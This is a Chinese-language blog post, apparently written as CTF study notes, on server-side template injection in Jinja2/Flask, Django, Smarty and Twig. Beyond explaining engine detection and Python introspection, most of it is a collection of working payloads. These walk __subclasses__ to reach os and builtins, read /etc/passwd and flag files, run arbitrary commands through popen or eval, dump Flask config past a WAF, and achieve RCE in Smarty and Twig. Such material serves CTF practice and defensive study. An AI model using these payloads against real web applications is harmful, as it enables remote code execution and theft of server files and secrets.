SSTI基础

作者: const27 分类: All,SSTI漏洞 发布时间: 2020-06-03 09:50

模板引擎:

image

我的理解为,可以通过模板语法,模板引擎就可以快速生成html前端代码 如可以通过{{}}变量来实现html代码的某个片段实现”变量化”,通过{%%}控制语句来控制html的代码生成方式等

用{{7*’7′}}来测试引擎 若返回的是7777777,则引擎是JINJA2,若是49则模板是Twig

关于基于Django引擎ssti的知识:

sth.__class__	用来查看sth的所属的类
sth.__base__	用来查看某个类的父类
sth.__subclasses__()	用来查看某个类的子类
sth.__mro__		由下至上的查看继承链
sth.__init__		使用传入的参数来初始化对象
sth.__globals__	/sth.func_globals	返回某个类的内建模块
__builtins__/__builtin__		__builtins__是__builtin__的子模块,用来记录所有内建函数如(list,dir等默认就存在的函数)
在上述语句的末尾可以加[num]来索引显示出第几个呈现出的内容:
如[].__class__.__bases__		=>(<class 'list'>, <class 'object'>)
[].__class__.__bases__[0]	=>(<class 'list'>)
[].__class__.__bases__[1]	=>(<class 'object'>)

为何能注入:

我的理解,服务端把你传入的参数等进行处理后向模板对应的渲染位置传入,因此可以控制你传入的参数达到注入的目的.

注入方式:

1.传入变量: 2.先进行检测,传入参数{{8*8}}等运算式,若返回计算结果,就说明了有ssti注入。 3.利用变量实现各种payload的输入

一般的做题流程:

以找os模块为例,os模块对系统进行操作时,往往会经过warnings.catch_warnings,所以我们找它就行了

1.找注入点
2.查看基本类  [].__class__.__base__.__subclasses__()
3.找有用的模块的的类:
 	os模块去找catch_warnings
4.从基本类中找到有用的模块的函数(os模块在catch_warings的linecache函数:
 	[].__class__.__base__.__subclasses__()[41].__init__.__globals__.keys()
 	↑找到linecache函数
5.使用这个函数中的os模块任意命令执行
       [].__class__.__base__.__subclasses__()[41].__init__.__globals__.os.listdir(".")
或
{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}
6.当然你也可以加一个自动寻找模块的代码,省的和砂壁一样一个个去数
      {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}{% endif %}{% endfor %}

payload收录:

<type file> : 可以用这个读取文件
 [].__class__.__base__.__subclasses__()[41]('flag').read()
 
<class ‘click.utils.LazyFile’>这个也可以读取文件
{{ ''.__class__.__mro__[1].__subclasses__()[345]('test.txt').read()}}

<class ‘_frozen_importlib._ModuleLock’>这个也可以读取文件
{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}
<class warnings.catch_warnings>:可以用这个进行对系统的操作
[].__class__.__base__.__subclasses__()[41].__init__.__globals__.linecache,os.listdir(".")//列出当前目录下的文件  
{{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen(cmd).read()")}}//cmd是你传入的指令,相当于rce
{{().__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('cmd').read()}}

使用config看配置
{{config}}

有些时候会有waf拦截只有config的情况.所以我们要用到flask内置函数(如url_for,get_flashed_messages),调取他的内置模块中的current_app 意思就是当前的实例化对象,然后再使用config命令调取配置信息
{{url_for.__globals__['current_app'].config}}

<class 'site._Printer'> 调用os模块
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('cmd').read()}}  

绕过收录:https://www.cnblogs.com/zaqzzz/p/10263396.html

smarty的ssti:

payload:  {if payload}{/if}  其中payload的意思是php指令,这个指令一旦可以运行即等于rce

Twig的ssti:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("payload")}};
//payload里放入shell指令

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云